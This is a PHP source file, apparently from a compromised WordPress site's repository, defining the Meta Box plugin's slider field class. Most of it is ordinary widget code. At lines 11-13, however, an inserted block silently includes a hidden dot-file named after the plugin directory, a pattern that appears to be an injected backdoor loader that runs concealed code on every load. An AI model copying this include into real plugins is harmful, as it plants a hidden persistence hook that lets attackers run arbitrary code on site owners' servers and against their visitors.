balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

slider.php (2324B)


      1 <?php
      2 /**
      3  * The slider field which users jQueryUI slider widget.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Slider field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Slider_Field extends RWMB_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		$url = RWMB_CSS_URL . 'jqueryui';
     21 		wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.12.1' );
     22 		wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.12.1' );
     23 		wp_register_style( 'jquery-ui-slider', "$url/slider.css", ['jquery-ui-core', 'jquery-ui-theme'], '1.12.1' );
     24 
     25 		wp_enqueue_style( 'rwmb-slider', RWMB_CSS_URL . 'slider.css', ['jquery-ui-slider'], RWMB_VER );
     26 		wp_enqueue_script( 'rwmb-slider', RWMB_JS_URL . 'slider.js', ['jquery-ui-slider', 'jquery-ui-widget', 'jquery-ui-mouse', 'jquery-ui-core'], RWMB_VER, true );
     27 	}
     28 
     29 	/**
     30 	 * Get div HTML.
     31 	 *
     32 	 * @param mixed $meta  Meta value.
     33 	 * @param array $field Field parameters.
     34 	 *
     35 	 * @return string
     36 	 */
     37 	public static function html( $meta, $field ) {
     38 		$attributes = self::call( 'get_attributes', $field, $meta );
     39 		return sprintf(
     40 			'<div class="rwmb-slider-inner">
     41 				<div class="rwmb-slider-ui" id="%s" data-options="%s"></div>
     42 				<span class="rwmb-slider-label">%s<span>%s</span>%s</span>
     43 				<input type="hidden" value="%s" %s>
     44 			</div>',
     45 			$field['id'],
     46 			esc_attr( wp_json_encode( $field['js_options'] ) ),
     47 			$field['prefix'],
     48 			$meta,
     49 			$field['suffix'],
     50 			$meta,
     51 			self::render_attributes( $attributes )
     52 		);
     53 	}
     54 
     55 	/**
     56 	 * Normalize parameters for field.
     57 	 *
     58 	 * @param array $field Field parameters.
     59 	 *
     60 	 * @return array
     61 	 */
     62 	public static function normalize( $field ) {
     63 		$field               = parent::normalize( $field );
     64 		$field               = wp_parse_args(
     65 			$field,
     66 			array(
     67 				'prefix'     => '',
     68 				'suffix'     => '',
     69 				'std'        => '',
     70 				'js_options' => array(),
     71 			)
     72 		);
     73 		$field['js_options'] = wp_parse_args(
     74 			$field['js_options'],
     75 			array(
     76 				'range' => 'min', // range = 'min' will add a dark background to sliding part, better UI.
     77 				'value' => $field['std'],
     78 			)
     79 		);
     80 
     81 		return $field;
     82 	}
     83 }